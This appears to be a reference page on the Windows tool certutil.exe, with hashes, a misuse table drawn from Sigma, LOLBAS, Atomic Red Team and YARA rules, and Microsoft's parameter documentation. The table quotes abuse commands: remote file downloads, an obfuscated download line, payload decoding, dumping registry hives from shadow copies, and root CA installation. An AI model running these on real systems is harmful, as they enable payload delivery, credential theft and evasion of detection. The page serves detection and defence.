certutil.exe

  • File Path: C:\windows\system32\certutil.exe
  • Description: CertUtil.exe

Hashes

Type Hash
MD5 09A8A29BAA3A451713FD3D07943B4A43
SHA1 867DD630BE582B85D9870E0BBE8ADCA068B7BA43
SHA256 E2A5FB1CA722474B76D6DA5C5B1D438A1E58BECA52864862555C9AB1B533E72D
SHA384 FD0C5DAA674C45E34714651686A04001CA28C1C2BCFAAE6D56F859D2ABE69E0AA1E2E977244ED759D00C58D88DBF59B3
SHA512 5D9AE3F3FCC6136EEC9A524E64C3684F23D401665ED878BD009F0E58FFE2295CE230DC30FB0403A0332589E03D765D77202041D44FABA808177C921B39DCB8D7
SSDEEP 24576:ybmY2A9/m64I/DSFYNUIMizVnDJ0hf1z8fU7lz+3jKExi:yyLAQ2DS0UINRsN4SIjli

Signature

  • Status: The file C:\windows\system32\certutil.exe is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170
  • Serial: ``
  • Thumbprint: ``
  • Issuer:
  • Subject:

File Metadata

  • Original Filename: CertUtil.exe.mui
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 6.3.9600.16384 (winblue_rtm.130821-1623)
  • Product Version: 6.3.9600.16384
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.

Possible Misuse

The following table contains possible examples of certutil.exe being misused. While certutil.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma godmode_sigma_rule.yml - ' -decode ' # Used with certutil DRL 1.0
sigma godmode_sigma_rule.yml - ' /decode ' # Used with certutil DRL 1.0
sigma proxy_ua_suspicious.yml - 'CertUtil URL Agent' # https://twitter.com/stvemillertime/status/985150675527974912 DRL 1.0
sigma file_event_win_win_shell_write_susp_directory.yml - '\certutil.exe' DRL 1.0
sigma proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml - 'certutil' DRL 1.0
sigma proc_creation_win_multiple_suspicious_cli.yml - certutil.exe DRL 1.0
sigma proc_creation_win_public_folder_parent.yml - 'certutil' DRL 1.0
sigma proc_creation_win_renamed_binary.yml - 'certutil.exe' DRL 1.0
sigma proc_creation_win_renamed_binary.yml - '\certutil.exe' DRL 1.0
sigma proc_creation_win_renamed_binary_highly_relevant.yml - 'certutil.exe' DRL 1.0
sigma proc_creation_win_renamed_binary_highly_relevant.yml - '\certutil.exe' DRL 1.0
sigma proc_creation_win_root_certificate_installed.yml Image\|endswith: '\certutil.exe' # Example: certutil -addstore -f -user ROOT CertificateFileName.der DRL 1.0
sigma proc_creation_win_shell_spawn_susp_program.yml - '\certutil.exe' DRL 1.0
sigma proc_creation_win_susp_certutil_command.yml title: Suspicious Certutil Command DRL 1.0
sigma proc_creation_win_susp_certutil_command.yml description: Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code with DRL 1.0
sigma proc_creation_win_susp_certutil_command.yml the built-in certutil utility DRL 1.0
sigma proc_creation_win_susp_certutil_command.yml - https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/ DRL 1.0
sigma proc_creation_win_susp_certutil_command.yml - https://lolbas-project.github.io/lolbas/Binaries/Certutil/ DRL 1.0
sigma proc_creation_win_susp_certutil_command.yml certutil: DRL 1.0
sigma proc_creation_win_susp_certutil_command.yml Image\|endswith: '\certutil.exe' DRL 1.0
sigma proc_creation_win_susp_certutil_command.yml condition: parameters or certutil DRL 1.0
sigma proc_creation_win_susp_certutil_encode.yml title: Certutil Encode DRL 1.0
sigma proc_creation_win_susp_certutil_encode.yml description: Detects suspicious a certutil command that used to encode files, which is sometimes used for data exfiltration DRL 1.0
sigma proc_creation_win_susp_certutil_encode.yml - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil DRL 1.0
sigma proc_creation_win_susp_certutil_encode.yml Image\|endswith: '\certutil.exe' DRL 1.0
sigma proc_creation_win_susp_copy_system32.yml description: Detects a suspicious copy command that copies a system program from System32 to another directory on disk - sometimes used to use LOLBINs like certutil or desktopimgdownldr to a different location with a different name DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java.yml - '\certutil.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java_keytool.yml - '\certutil.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_from_winrm.yml - '*\certutil.exe' DRL 1.0
sigma proc_creation_win_susp_spoolsv_child_processes.yml - \certutil.exe DRL 1.0
sigma proc_creation_win_susp_system_user_anomaly.yml - ' -decode ' # Used with certutil DRL 1.0
sigma proc_creation_win_susp_system_user_anomaly.yml - ' /decode ' # Used with certutil DRL 1.0
sigma proc_creation_win_susp_system_user_anomaly.yml - ' /urlcache ' # Used with certutil DRL 1.0
sigma proc_creation_win_susp_system_user_anomaly.yml - ' -urlcache ' # Used with certutil DRL 1.0
LOLBAS Certutil.yml Name: Certutil.exe  
LOLBAS Certutil.yml - Command: certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe  
LOLBAS Certutil.yml - Command: certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe  
LOLBAS Certutil.yml - Command: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt  
LOLBAS Certutil.yml - Command: certutil -encode inputFileName encodedOutputFileName  
LOLBAS Certutil.yml - Command: certutil -decode encodedInputFileName decodedOutputFileName  
LOLBAS Certutil.yml - Command: certutil --decodehex encoded_hexadecimal_InputFileName  
LOLBAS Certutil.yml - Path: C:\Windows\System32\certutil.exe  
LOLBAS Certutil.yml - Path: C:\Windows\SysWOW64\certutil.exe  
LOLBAS Certutil.yml - IOC: Certutil.exe creating new files on disk  
LOLBAS Certutil.yml - IOC: Useragent CertUtil URL Agent  
malware-ioc misp-badiis.json "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)", © ESET 2014-2018
malware-ioc misp-dukes-operation-ghost-event.json "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.", © ESET 2014-2018
malware-ioc misp_invisimole.json "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.", © ESET 2014-2018
malware-ioc misp-turla-powershell-event.json "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nDetection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward, Red Canary", © ESET 2014-2018
atomic-red-team index.md - Atomic Test #5: dump volume shadow copy hives with certutil [windows] MIT License. © 2018 Red Canary
atomic-red-team index.md - Atomic Test #2: Certutil Rename and Decode [windows] MIT License. © 2018 Red Canary
atomic-red-team index.md - Atomic Test #5: Install root CA on Windows with certutil [windows] MIT License. © 2018 Red Canary
atomic-red-team index.md - Atomic Test #7: certutil download (urlcache) [windows] MIT License. © 2018 Red Canary
atomic-red-team index.md - Atomic Test #8: certutil download (verifyctl) [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #5: dump volume shadow copy hives with certutil [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #2: Certutil Rename and Decode [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #5: Install root CA on Windows with certutil [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #7: certutil download (urlcache) [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #8: certutil download (verifyctl) [windows] MIT License. © 2018 Red Canary
atomic-red-team T1003.002.md - Atomic Test #5 - dump volume shadow copy hives with certutil MIT License. © 2018 Red Canary
atomic-red-team T1003.002.md ## Atomic Test #5 - dump volume shadow copy hives with certutil MIT License. © 2018 Red Canary
atomic-red-team T1003.002.md Dump hives from volume shadow copies with the certutil utility MIT License. © 2018 Red Canary
atomic-red-team T1003.002.md certutil -f -v -encodehex $shadowpath #{dump_path}#{dumped_hive} 2 MIT License. © 2018 Red Canary
atomic-red-team T1027.md This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters). MIT License. © 2018 Red Canary
atomic-red-team T1027.md certutil —ૹu૰rlࢰca࣢c෯he –‮spli؅t‮‭ −”൏ᶠ൸” #{remote_file} #{local_path} MIT License. © 2018 Red Canary
atomic-red-team T1105.md - Atomic Test #7 - certutil download (urlcache) MIT License. © 2018 Red Canary
atomic-red-team T1105.md - Atomic Test #8 - certutil download (verifyctl) MIT License. © 2018 Red Canary
atomic-red-team T1105.md ## Atomic Test #7 - certutil download (urlcache) MIT License. © 2018 Red Canary
atomic-red-team T1105.md Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works! MIT License. © 2018 Red Canary
atomic-red-team T1105.md cmd /c certutil -urlcache -split -f #{remote_file} #{local_path} MIT License. © 2018 Red Canary
atomic-red-team T1105.md ## Atomic Test #8 - certutil download (verifyctl) MIT License. © 2018 Red Canary
atomic-red-team T1105.md Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works! MIT License. © 2018 Red Canary
atomic-red-team T1105.md $datePath = “certutil-$(Get-Date -format yyyy_MM_dd)” MIT License. © 2018 Red Canary
atomic-red-team T1105.md certutil -verifyctl -split -f #{remote_file} MIT License. © 2018 Red Canary
atomic-red-team T1105.md Remove-Item “certutil-$(Get-Date -format yyyy_MM_dd)” -Force -Recurse -ErrorAction Ignore MIT License. © 2018 Red Canary
atomic-red-team T1140.md One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016) MIT License. © 2018 Red Canary
atomic-red-team T1140.md - Atomic Test #2 - Certutil Rename and Decode MIT License. © 2018 Red Canary
atomic-red-team T1140.md certutil -encode #{executable} %temp%\T1140_calc.txt MIT License. © 2018 Red Canary
atomic-red-team T1140.md certutil -decode %temp%\T1140_calc.txt %temp%\T1140_calc_decoded.exe MIT License. © 2018 Red Canary
atomic-red-team T1140.md ## Atomic Test #2 - Certutil Rename and Decode MIT License. © 2018 Red Canary
atomic-red-team T1140.md Rename certutil and decode a file. This is in reference to latest research by FireEye here MIT License. © 2018 Red Canary
atomic-red-team T1140.md copy %windir%\system32\certutil.exe %temp%\tcm.tmp MIT License. © 2018 Red Canary
atomic-red-team T1553.004.md - Atomic Test #5 - Install root CA on Windows with certutil MIT License. © 2018 Red Canary
atomic-red-team T1553.004.md ## Atomic Test #5 - Install root CA on Windows with certutil MIT License. © 2018 Red Canary
atomic-red-team T1553.004.md Creates a root CA with certutil MIT License. © 2018 Red Canary
atomic-red-team T1553.004.md certutil -addstore my #{pfx_path} MIT License. © 2018 Red Canary
atomic-red-team T1564.004.md certutil.exe -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1 c:\temp:ttt MIT License. © 2018 Red Canary
signature-base apt_apt34.yar $x3 = “cmd.exe /C certutil -f -decode C:\ProgramData\” ascii CC BY-NC 4.0
signature-base apt_telebots.yar $s4 = “decode = "certutil -decode " + source + " " + dest “ fullword ascii CC BY-NC 4.0
signature-base apt_telebots.yar $s3 = “cmd = "certutil -encode -f " + source + " " + dest” fullword ascii CC BY-NC 4.0
signature-base general_cloaking.yar $s2 = “certutil -decode “ ascii CC BY-NC 4.0
signature-base gen_mal_scripts.yar /* Certutil Rule Improved */ CC BY-NC 4.0
signature-base gen_mal_scripts.yar description = “Certutil Decode” CC BY-NC 4.0
signature-base gen_mal_scripts.yar $a1 = “certutil -decode “ ascii wide CC BY-NC 4.0
signature-base gen_mal_scripts.yar $a2 = “certutil -decode “ ascii wide CC BY-NC 4.0
signature-base gen_mal_scripts.yar $a3 = “certutil.exe -decode “ ascii wide CC BY-NC 4.0
signature-base gen_mal_scripts.yar $a4 = “certutil.exe -decode “ ascii wide CC BY-NC 4.0
signature-base gen_mal_scripts.yar $a5 = “certutil -urlcache -split -f http” ascii wide CC BY-NC 4.0
signature-base gen_mal_scripts.yar $a6 = “certutil.exe -urlcache -split -f http” ascii wide CC BY-NC 4.0
signature-base gen_url_persitence.yar $file1 = /\x0a\x0d\s=[^\x0d](powershell|cmd|certutil|mshta|wscript|cscript|rundll32|wmic|regsvr32|msbuild)(.exe|)[^\x0d]{2,50}\x0d/ nocase CC BY-NC 4.0
signature-base thor_inverse_matches.yar description = “Detects a renamed certutil.exe utility that is often used to decode encoded payloads” CC BY-NC 4.0
signature-base thor_inverse_matches.yar $s5 = “certutil.pdb” fullword ascii CC BY-NC 4.0
signature-base thor_inverse_matches.yar and not filename contains “certutil” CC BY-NC 4.0
signature-base thor_inverse_matches.yar and not filename contains “CertUtil” CC BY-NC 4.0
signature-base thor_inverse_matches.yar and not filename contains “Certutil” CC BY-NC 4.0

Additional Info*

*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.

certutil

Certutil.exe is a command-line program, installed as part of Certificate Services. You can use certutil.exe to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains.

If certutil is run on a certification authority without additional parameters, it displays the current certification authority configuration. If certutil is run on a non-certification authority, the command defaults to running the certutil [-dump] command.

[!IMPORTANT] Earlier versions of certutil may not provide all of the options that are described in this document. You can see all the options that a specific version of certutil provides by running certutil -? or certutil <parameter> -?.

Parameters

-dump

Dump configuration information or files.

certutil [options] [-dump]
certutil [options] [-dump] file

[-f] [-silent] [-split] [-p password] [-t timeout]

-asn

Parse and display the contents of a file using Abstract Syntax Notation (ASN.1) syntax. File types include .CER, .DER and PKCS #7 formatted files.

certutil [options] -asn file [type]

[type]: numeric CRYPT_STRING_* decoding type

-decodehex

Decode a hexadecimal-encoded file.

certutil [options] -decodehex infile outfile [type]

[type]: numeric CRYPT_STRING_* encoding type

[-f]

-decode

Decode a Base64-encoded file.

certutil [options] -decode infile outfile

[-f]

-encode

Encode a file to Base64.

certutil [options] -encode infile outfile

[-f] [-unicodetext]

-deny

Deny a pending request.

certutil [options] -deny requestID

[-config Machine\CAName]

-resubmit

Resubmit a pending request.

certutil [options] -resubmit requestId

[-config Machine\CAName]

-setattributes

Set attributes for a pending certificate request.

certutil [options] -setattributes RequestID attributestring

Where:

  • requestID is the numeric Request ID for the pending request.

  • attributestring is the request attribute name and value pairs.

[-config Machine\CAName]
Remarks
  • Names and values must be colon separated, while multiple name, value pairs must be newline separated. For example: CertificateTemplate:User\nEMail:User@Domain.com where the \n sequence is converted to a newline separator.

-setextension

Set an extension for a pending certificate request.

certutil [options] -setextension requestID extensionname flags {long | date | string | \@infile}

Where:

  • requestID is the numeric Request ID for the pending request.

  • extensionname is the ObjectId string for the extension.

  • flags sets the priority of the extension. 0 is recommended, while 1 sets the extension to critical, 2 disables the extension, and 3 does both.

[-config Machine\CAName]
Remarks

  • If the last parameter is numeric, it’s taken as a Long.

  • If the last parameter can be parsed as a date, it’s taken as a Date.

  • If the last parameter starts with \@, the rest of the token is taken as the filename with binary data or an ascii-text hex dump.

  • If the last parameter is anything else, it’s taken as a String.

-revoke

Revoke a certificate.

certutil [options] -revoke serialnumber [reason]

Where:

  • serialnumber is a comma-separated list of certificate serial numbers to revoke.

  • reason is the numeric or symbolic representation of the revocation reason, including:

    • 0. CRL_REASON_UNSPECIFIED - Unspecified (default)

    • 1. CRL_REASON_KEY_COMPROMISE - Key compromise

    • 2. CRL_REASON_CA_COMPROMISE - Certificate Authority compromise

    • 3. CRL_REASON_AFFILIATION_CHANGED - Affiliation changed

    • 4. CRL_REASON_SUPERSEDED - Superseded

    • 5. CRL_REASON_CESSATION_OF_OPERATION - Cessation of operation

    • 6. CRL_REASON_CERTIFICATE_HOLD - Certificate hold

    • 8. CRL_REASON_REMOVE_FROM_CRL - Remove From CRL

    • 1. Unrevoke - Unrevoke

[-config Machine\CAName]

-isvalid

Display the disposition of the current certificate.

certutil [options] -isvalid serialnumber | certhash

[-config Machine\CAName]

-getconfig

Get the default configuration string.

certutil [options] -getconfig

[-config Machine\CAName]

-ping

Attempt to contact the Active Directory Certificate Services Request interface.

certutil [options] -ping [maxsecondstowait | camachinelist]

Where:

  • camachinelist is a comma-separated list of CA machine names. For a single machine, use a terminating comma. This option also displays the site cost for each CA machine.
[-config Machine\CAName]

-cainfo

Display information about the certification authority.

certutil [options] -cainfo [infoname [index | errorcode]]

Where:

  • infoname indicates the CA property to display, based on the following infoname argument syntax:

    • file - File version

    • product - Product version

    • exitcount - Exit module count

    • exit [index] - Exit module description

    • policy - Policy module description

    • name - CA name

    • sanitizedname - Sanitized CA name

    • dsname - Sanitized CA short name (DS name)

    • sharedfolder - Shared folder

    • error1 ErrorCode - Error message text

    • error2 ErrorCode - Error message text and error code

    • type - CA type

    • info - CA info

    • parent - Parent CA

    • certcount - CA cert count

    • xchgcount - CA exchange cert count

    • kracount - KRA cert count

    • kraused - KRA cert used count

    • propidmax - Maximum CA PropId

    • certstate [index] - CA cert

    • certversion [index] - CA cert version

    • certstatuscode [index] - CA cert verify status

    • crlstate [index] - CRL

    • krastate [index] - KRA cert

    • crossstate+ [index] - Forward cross cert

    • crossstate- [index] - Backward cross cert

    • cert [index] - CA cert

    • certchain [index] - CA cert chain

    • certcrlchain [index] - CA cert chain with CRLs

    • xchg [index] - CA exchange cert

    • xchgchain [index] - CA exchange cert chain

    • xchgcrlchain [index] - CA exchange cert chain with CRLs

    • kra [index] - KRA cert

    • cross+ [index] - Forward cross cert

    • cross- [index] - Backward cross cert

    • CRL [index] - Base CRL

    • deltacrl [index] - Delta CRL

    • crlstatus [index] - CRL Publish Status

    • deltacrlstatus [index] - Delta CRL Publish Status

    • dns - DNS Name

    • role - Role Separation

    • ads - Advanced Server

    • templates - Templates

    • csp [index] - OCSP URLs

    • aia [index] - AIA URLs

    • cdp [index] - CDP URLs

    • localename - CA locale name

    • subjecttemplateoids - Subject Template OIDs

    • * - Displays all properties

  • index is the optional zero-based property index.

  • errorcode is the numeric error code.

[-f] [-split] [-config Machine\CAName]

-ca.cert

Retrieve the certificate for the certification authority.

certutil [options] -ca.cert outcacertfile [index]

Where:

  • outcacertfile is the output file.

  • index is the CA certificate renewal index (defaults to most recent).

[-f] [-split] [-config Machine\CAName]

-ca.chain

Retrieve the certificate chain for the certification authority.

certutil [options] -ca.chain outcacertchainfile [index]

Where:

  • outcacertchainfile is the output file.

  • index is the CA certificate renewal index (defaults to most recent).

[-f] [-split] [-config Machine\CAName]

-getcrl

Gets a certificate revocation list (CRL).

certutil [options] -getcrl outfile [index] [delta]

Where:

  • index is the CRL index or key index (defaults to CRL for most recent key).

  • delta is the delta CRL (default is base CRL).

[-f] [-split] [-config Machine\CAName]

-crl

Publish new certificate revocation lists (CRLs) or delta CRLs.

certutil [options] -crl [dd:hh | republish] [delta]

Where:

  • dd:hh is the new CRL validity period in days and hours.

  • republish republishes the most recent CRLs.

  • delta publishes the delta CRLs only (default is base and delta CRLs).

[-split] [-config Machine\CAName]

-shutdown

Shuts down the Active Directory Certificate Services.

certutil [options] -shutdown

[-config Machine\CAName]

-installcert

Installs a certification authority certificate.

certutil [options] -installcert [cacertfile]

[-f] [-silent] [-config Machine\CAName]

-renewcert

Renews a certification authority certificate.

certutil [options] -renewcert [reusekeys] [Machine\ParentCAName]
  • Use -f to ignore an outstanding renewal request, and to generate a new request.
[-f] [-silent] [-config Machine\CAName]

-schema

Dumps the schema for the certificate.

certutil [options] -schema [ext | attrib | cRL]

Where:

  • The command defaults to the Request and Certificate table.

  • ext is the extension table.

  • attribute is the attribute table.

  • crl is the CRL table.

[-split] [-config Machine\CAName]

-view

Dumps the certificate view.

certutil [options] -view [queue | log | logfail | revoked | ext | attrib | crl] [csv]

Where:

  • queue dumps a specific request queue.

  • log dumps the issued or revoked certificates, plus any failed requests.

  • logfail dumps the failed requests.

  • revoked dumps the revoked certificates.

  • ext dumps the extension table.

  • attribute dumps the attribute table.

  • crl dumps the CRL table.

  • csv provides the output using comma-separated values.

[-silent] [-split] [-config Machine\CAName] [-restrict RestrictionList] [-out ColumnList]
Remarks

  • To display the StatusCode column for all entries, type -out StatusCode

  • To display all columns for the last entry, type: -restrict RequestId==$

  • To display the RequestID and Disposition for three requests, type: -restrict requestID>37,requestID<40 -out requestID,disposition

  • To display Row IDsRow IDs and CRL numbers for all Base CRLs, type: -restrict crlminbase=0 -out crlrowID,crlnumber crl

  • To display , type: -v -restrict crlminbase=0,crlnumber=3 -out crlrawcrl crl

  • To display the entire CRL table, type: CRL

  • Use Date[+|-dd:hh] for date restrictions.

  • Use now+dd:hh for a date relative to the current time.

-db

Dumps the raw database.

certutil [options] -db

[-config Machine\CAName] [-restrict RestrictionList] [-out ColumnList]

-deleterow

Deletes a row from the server database.

certutil [options] -deleterow rowID | date [request | cert | ext | attrib | crl]

Where:

  • request deletes the failed and pending requests, based on submission date.

  • cert deletes the expired and revoked certificates, based on expiration date.

  • ext deletes the extension table.

  • attribute deletes the attribute table.

  • crl deletes the CRL table.

[-f] [-config Machine\CAName]
Examples

  • To delete failed and pending requests submitted by January 22, 2001, type: 1/22/2001 request

  • To delete all certificates that expired by January 22, 2001, type: 1/22/2001 cert

  • To delete the certificate row, attributes, and extensions for RequestID 37, type: 37

  • To delete CRLs that expired by January 22, 2001, type: 1/22/2001 crl

-backup

Backs up the Active Directory Certificate Services.

certutil [options] -backup backupdirectory [incremental] [keeplog]

Where:

  • backupdirectory is the directory to store the backed up data.

  • incremental performs an incremental backup only (default is full backup).

  • keeplog preserves the database log files (default is to truncate log files).

[-f] [-config Machine\CAName] [-p Password]

-backupdb

Backs up the Active Directory Certificate Services database.

certutil [options] -backupdb backupdirectory [incremental] [keeplog]

Where:

  • backupdirectory is the directory to store the backed up database files.

  • incremental performs an incremental backup only (default is full backup).

  • keeplog preserves the database log files (default is to truncate log files).

[-f] [-config Machine\CAName]

-backupkey

Backs up the Active Directory Certificate Services certificate and private key.

certutil [options] -backupkey backupdirectory

Where:

  • backupdirectory is the directory to store the backed up PFX file.
[-f] [-config Machine\CAName] [-p password] [-t timeout]

-restore

Restores the Active Directory Certificate Services.

certutil [options] -restore backupdirectory

Where:

  • backupdirectory is the directory containing the data to be restored.
[-f] [-config Machine\CAName] [-p password]

-restoredb

Restores the Active Directory Certificate Services database.

certutil [options] -restoredb backupdirectory

Where:

  • backupdirectory is the directory containing the database files to be restored.
[-f] [-config Machine\CAName]

-restorekey

Restores the Active Directory Certificate Services certificate and private key.

certutil [options] -restorekey backupdirectory | pfxfile

Where:

  • backupdirectory is the directory containing PFX file to be restored.
[-f] [-config Machine\CAName] [-p password]

-importpfx

Import the certificate and private key. For more info, see the -store parameter in this article.

certutil [options] -importpfx [certificatestorename] pfxfile [modifiers]

Where:

  • certificatestorename is the name of the certificate store.

  • modifiers are the comma-separated list, which can include one or more of the following:

    1. AT_SIGNATURE - Changes the keyspec to signature

    2. AT_KEYEXCHANGE - Changes the keyspec to key exchange

    3. NoExport - Makes the private key non-exportable

    4. NoCert - Doesn’t import the certificate

    5. NoChain - Doesn’t import the certificate chain

    6. NoRoot - Doesn’t import the root certificate

    7. Protect - Protects keys by using a password

    8. NoProtect - Doesn’t password protect keys by using a password

[-f] [-user] [-p password] [-csp provider]
Remarks
  • Defaults to personal machine store.

-dynamicfilelist

Displays a dynamic file list.

certutil [options] -dynamicfilelist

[-config Machine\CAName]

-databaselocations

Displays database locations.

certutil [options] -databaselocations

[-config Machine\CAName]

-hashfile

Generates and displays a cryptographic hash over a file.

certutil [options] -hashfile infile [hashalgorithm]

-store

Dumps the certificate store.

certutil [options] -store [certificatestorename [certID [outputfile]]]

Where:

  • certificatestorename is the certificate store name. For example:

    • My, CA (default), Root,

    • ldap:///CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?cACertificate?one?objectClass=certificationAuthority (View Root Certificates)

    • ldap:///CN=CAName,CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?cACertificate?base?objectClass=certificationAuthority (Modify Root Certificates)

    • ldap:///CN=CAName,CN=MachineName,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?certificateRevocationList?base?objectClass=cRLDistributionPoint (View CRLs)

    • ldap:///CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?cACertificate?base?objectClass=certificationAuthority (Enterprise CA Certificates)

    • ldap: (AD computer object certificates)

    • -user ldap: (AD user object certificates)

  • certID is the certificate or CRL match token. This can be a serial number, a SHA-1 certificate, CRL, CTL or public key hash, a numeric cert index (0, 1, and so on), a numeric CRL index (.0, .1, and so on), a numeric CTL index (..0, ..1, and so on), a public key, signature or extension ObjectId, a certificate subject Common Name, an e-mail address, UPN or DNS name, a key container name or CSP name, a template name or ObjectId, an EKU or Application Policies ObjectId, or a CRL issuer Common Name. Many of these may result in multiple matches.

  • outputfile is the file used to save the matching certificates.

[-f] [-user] [-enterprise] [-service] [-grouppolicy] [-silent] [-split] [-dc DCName]
Options

  • The -user option accesses a user store instead of a machine store.

  • The -enterprise option accesses a machine enterprise store.

  • The -service option accesses a machine service store.

  • The -grouppolicy option accesses a machine group policy store.

For example:

  • -enterprise NTAuth

  • -enterprise Root 37

  • -user My 26e0aaaf000000000004

  • CA .11

-addstore

